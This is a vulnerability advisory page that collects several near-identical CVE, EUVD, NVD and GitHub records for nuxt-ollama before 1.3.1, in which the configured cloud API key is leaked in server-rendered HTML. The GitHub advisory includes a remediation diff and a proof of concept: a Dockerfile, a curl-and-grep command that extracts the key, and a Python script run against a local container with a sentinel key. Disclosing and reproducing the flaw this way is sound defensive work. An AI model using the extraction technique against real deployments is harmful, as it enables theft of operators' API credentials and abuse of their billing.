Nuxt Ollama: public runtime configuration discloses the configured cloud API key

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Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nuxt serializes this public configuration into the server-rendered HTML `window.__NUXT__` payload, exposing the API key in plaintext to any unauthenticated client that fetches a page. `src/runtime/composables/useOllama.ts` also reads the public key and sends it as an `Authorization` `Bearer` credential in browser-side Ollama requests. Following the documented cloud configuration is sufficient; the visible application template need not make an Ollama request for the secret to leak. A stolen key permits unauthorized cloud API requests at the operator's expense, quota or rate-limit exhaustion, and access to stored models or conversations if the key grants those permissions. This issue is fixed in version 1.3.1.

Source published

27 Oct 2026 22:36:09 UTC

Source modified

29 Oct 2026 18:23:47 UTC

Observed here

29 Oct 2026 19:28:49 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nuxt serializes this public configuration into the server-rendered HTML `window.__NUXT__` payload, exposing the API key in plaintext to any unauthenticated client that fetches a page. `src/runtime/composables/useOllama.ts` also reads the public key and sends it as an `Authorization` `Bearer` credential in browser-side Ollama requests. Following the documented cloud configuration is sufficient; the visible application template need not make an Ollama request for the secret to leak. A stolen key permits unauthorized cloud API requests at the operator's expense, quota or rate-limit exhaustion, and access to stored models or conversations if the key grants those permissions. This issue is fixed in version 1.3.1.

Source published

Oct 27, 2026, 10:36:09 PM (timezone not stated)

Source modified

Oct 29, 2026, 6:23:47 PM (timezone not stated)

Observed here

30 Oct 2026 10:50:47 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Nuxt Ollama integrates the official Ollama JavaScript library into Nuxt applications. Prior to 1.3.1, `src/module.ts` unconditionally merges all module options, including a configured cloud `api_key`, into `runtimeConfig.public.ollama`. Nuxt serializes this public configuration into the server-rendered HTML `window.__NUXT__` payload, exposing the API key in plaintext to any unauthenticated client that fetches a page. `src/runtime/composables/useOllama.ts` also reads the public key and sends it as an `Authorization` `Bearer` credential in browser-side Ollama requests. Following the documented cloud configuration is sufficient; the visible application template need not make an Ollama request for the secret to leak. A stolen key permits unauthorized cloud API requests at the operator's expense, quota or rate-limit exhaustion, and access to stored models or conversations if the key grants those permissions. This issue is fixed in version 1.3.1.

Source published

27 Oct 2026 23:17:06 UTC

Source modified

28 Oct 2026 15:24:56 UTC

Observed here

29 Oct 2026 16:15:27 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

## Public Runtime Config Exposes Ollama API Key to Browser Clients ### Summary `[email protected]` unconditionally merges all module options — including `api_key` — into Nuxt's **public** runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a `<script>` payload block (`window.__NUXT__`), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense. ### Details The vulnerability is a design flaw in `src/module.ts`. During Nuxt module setup, the entire `_options` object — which contains `api_key` when configured for cloud Ollama as documented in `README.md:71-80` — is merged into the **public** runtime config namespace: ```ts // src/module.ts:35-36 const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions runtimeConfig.public.ollama = defu(currentConfig, _options) ``` Nuxt's SSR pipeline serializes `runtimeConfig.public` and embeds it in every server-rendered HTML page for client-side hydration. This results in the `api_key` appearing verbatim in the `window.__NUXT__` script block: ```html <script> window.__NUXT__={}; window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser } } } </script> ``` The browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls: ```ts // src/runtime/composables/useOllama.ts:6-10 const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions if (options.api_key) { headers.Authorization = `Bearer ${options.api_key}` } return new Ollama({ host, proxy: options.proxy, headers }) ``` The complete data flow from source to sink: 1. `README.md:71-80` — official documentation instructs users to set `ollama.api_key` for cloud Ollama models 2. `src/module.ts:35-36` — **source**: `api_key` is merged into `runtimeConfig.public.ollama` 3. Nuxt SSR runtime — `runtimeConfig.public` is serialized into HTML `__NUXT__` payload 4. `src/runtime/composables/useOllama.ts:6` — browser composable reads `useRuntimeConfig().public.ollama` 5. `src/runtime/composables/useOllama.ts:8-10` — **sink**: `options.api_key` becomes `headers.Authorization` in client-side HTTP request The `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization. **Recommended remediation:** Move `api_key` to the private runtime config and remove it from the browser composable: ```diff - const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions - runtimeConfig.public.ollama = defu(currentConfig, _options) + const { api_key, ...publicOptions } = _options + const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'> + runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions) + const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'> + runtimeConfig.ollama = defu(currentPrivateConfig, { api_key }) ``` The `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`. ### PoC **Prerequisites:** Docker, Python 3 **Step 1 — Build the vulnerable Nuxt app container** ```bash docker build \ -f /path/to/vuln-001/Dockerfile \ -t nuxt-ollama-vuln-001 \ /path/to/npmAI_735_thoda-dev__nuxt-ollama ``` The Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` — the exact cloud configuration pattern from `README.md:71-80`: ```ts export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' // sentinel key } }) ``` **Step 2 — Start the container** ```bash docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001 ``` **Step 3 — Retrieve the API key with a single unauthenticated HTTP request** ```bash curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"' # Expected: api_key":"LEAKED_TEST_KEY_123" ``` **Automated PoC script** ```bash python3 /path/to/vuln-001/poc.py ``` **Expected output (confirmed in dynamic reproduction):** ``` window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" } } } ``` The sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak. ### Impact This is a **credentials exposure** vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload. **Who is impacted:** - **Operators/developers** who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor. - **End-users** of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key. **Potential consequences of key theft:** - Unauthorized use of the Ollama cloud API at the operator's cost - Rate-limit exhaustion or quota abuse - Data exfiltration if the compromised key has read access to stored models or conversations - Reputational damage and service disruption for the affected application The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # syntax=docker/dockerfile:1 # VULN-001 PoC: [email protected] — Public Runtime Config Exposes Ollama API Key # CWE-522: Insufficiently Protected Credentials # CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) # # Vulnerability mechanism: # src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options) # This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes # into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload). # Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext. FROM node:20-alpine # Install pnpm matching the repo's packageManager field ([email protected]) RUN npm install -g [email protected] WORKDIR /app # Copy the nuxt-ollama source repository COPY repo/ ./ # Install all project dependencies. # .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false RUN pnpm install --frozen-lockfile # Override playground/nuxt.config.ts: inject a sentinel api_key to simulate # a real-world cloud Ollama deployment as documented in README.md:71-80. # This is the exact vulnerable configuration pattern described in the docs. RUN cat > playground/nuxt.config.ts << 'EOF' export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' } }) EOF # Replace app.vue with a minimal template that does NOT make Ollama API calls. # The api_key leak occurs in the Nuxt SSR payload, not in the visible template. # The original playground app.vue calls useFetch('/api/ollama') which requires # a live Ollama server; replacing it keeps this PoC self-contained. RUN cat > playground/app.vue << 'EOF' <template> <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div> </template> EOF # Build the playground in production SSR mode. # During the module setup() call, src/module.ts:36 merges all _options (including # api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes # runtimeConfig.public into the HTML response for client-side hydration. RUN pnpm exec nuxi build playground EXPOSE 3000 ENV HOST=0.0.0.0 ENV PORT=3000 ENV NITRO_HOST=0.0.0.0 ENV NITRO_PORT=3000 CMD ["node", "/app/playground/.output/server/index.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Proof of Concept Package : [email protected] (thoda-dev/nuxt-ollama, commit 6989ea8) Title : Public Runtime Config Exposes Ollama API Key to Browser Clients CWE : CWE-522 - Insufficiently Protected Credentials CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Attack summary -------------- When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80 for cloud Ollama), the module's setup() function in src/module.ts:36 merges the entire _options object—api_key included—into runtimeConfig.public.ollama. Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and embeds it in the HTML response inside a <script> payload block (__NUXT__ / __NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore returns the api_key in plain text, with no authentication required. This script: 1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key. 2. Starts the image as a local container. 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key. 4. Prints an evidence excerpt and writes phase2_result.json. """ import json import os import subprocess import sys import time import urllib.request # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- TARGET_KEY = "LEAKED_TEST_KEY_123" IMAGE_NAME = "nuxt-ollama-vuln-001" CONTAINER_NAME = "nuxt-ollama-poc-001" HOST = "127.0.0.1" PORT = 3000 URL = f"http://{HOST}:{PORT}/" SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) PARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/) DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile") RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json") BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}" RUN_CMD = ( f"docker run -d --name {CONTAINER_NAME} " f"-p {PORT}:{PORT} {IMAGE_NAME}" ) POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}" # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def run_cmd(cmd_list, check=True, capture=False): """Execute a command, printing it first; return CompletedProcess.""" print(f"[cmd] {' '.join(cmd_list)}", flush=True) return subprocess.run( cmd_list, check=check, capture_output=capture, text=bool(capture), ) def cleanup_container(): """Remove the PoC container if it already exists.""" subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True) def wait_for_server(url, timeout=180, interval=5): """Poll url until it returns a non-5xx response or the timeout expires.""" print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True) deadline = time.time() + timeout while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=5) as resp: if resp.status < 500: print(f"[+] Server up — HTTP {resp.status}", flush=True) return True except Exception: pass time.sleep(interval) return False def save_result(data): """Write phase2_result.json and echo its path.""" with open(RESULT_FILE, "w", encoding="utf-8") as fh: json.dump(data, fh, ensure_ascii=False, indent=2) print(f"\n[*] Result saved to {RESULT_FILE}", flush=True) # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): print("=" * 66) print("VULN-001 PoC — [email protected] API Key Leak via Nuxt SSR Payload") print("=" * 66, flush=True) cleanup_container() # ------------------------------------------------------------------ # Step 1 — Build Docker image # ------------------------------------------------------------------ print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True) build_rc = run_cmd( ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR], check=False, ).returncode if build_rc != 0: save_result({ "passed": False, "verdict": "FAIL", "reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"docker build exited with returncode={build_rc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) print("[+] Image built successfully.", flush=True) # ------------------------------------------------------------------ # Step 2 — Start the container # ------------------------------------------------------------------ print("\n[STEP 2] Starting container ...", flush=True) run_rc = run_cmd( ["docker", "run", "-d", "--name", CONTAINER_NAME, "-p", f"{PORT}:{PORT}", IMAGE_NAME], check=False, ).returncode if run_rc != 0: save_result({ "passed": False, "verdict": "FAIL", "reason": "Docker 컨테이너 실행 실패.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"docker run exited with returncode={run_rc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) # ------------------------------------------------------------------ # Step 3 — Wait for Nuxt SSR server # ------------------------------------------------------------------ print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True) if not wait_for_server(URL, timeout=180): logs = subprocess.run( ["docker", "logs", CONTAINER_NAME], capture_output=True, text=True, ) log_snippet = (logs.stdout + logs.stderr)[-2000:] print("[!] Server did not respond within timeout. Container logs:\n", log_snippet) save_result({ "passed": False, "verdict": "INCOMPLETE", "reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": log_snippet, "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1) # ------------------------------------------------------------------ # Step 4 — Fetch the rendered HTML page # ------------------------------------------------------------------ print(f"\n[STEP 4] GET {URL} ...", flush=True) try: with urllib.request.urlopen(URL, timeout=15) as resp: html = resp.read().decode("utf-8", errors="replace") except Exception as exc: save_result({ "passed": False, "verdict": "FAIL", "reason": f"HTTP 요청 실패: {exc}", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": str(exc), "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1) print(f"[+] Received {len(html)} bytes.", flush=True) # ------------------------------------------------------------------ # Step 5 — Verify TARGET_KEY is present in the HTTP response body # ------------------------------------------------------------------ print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True) if TARGET_KEY in html: idx = html.index(TARGET_KEY) start = max(0, idx - 200) end = min(len(html), idx + len(TARGET_KEY) + 200) excerpt = html[start:end].strip() print(f"\n{'='*66}") print(f"[PASS] VULNERABILITY CONFIRMED") print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.") print(f"{'='*66}") print(f"Evidence excerpt:\n\n{excerpt}\n") print(f"{'='*66}") save_result({ "passed": True, "verdict": "PASS", "reason": ( "[email protected]의 src/module.ts:36에서 api_key를 " "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 " "__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 " "LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": excerpt, "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(0) else: snippet = html[:3000] print(f"[FAIL] '{TARGET_KEY}' NOT found in the HTTP response body.") print("--- HTML (first 3000 chars) ---") print(snippet) save_result({ "passed": False, "verdict": "FAIL", "reason": ( f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. " "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": snippet[:1500], "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1) if __name__ == "__main__": main() ```

Source published

9 Sep 2026 23:47:44 UTC

Source modified

10 Sep 2026 00:10:58 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH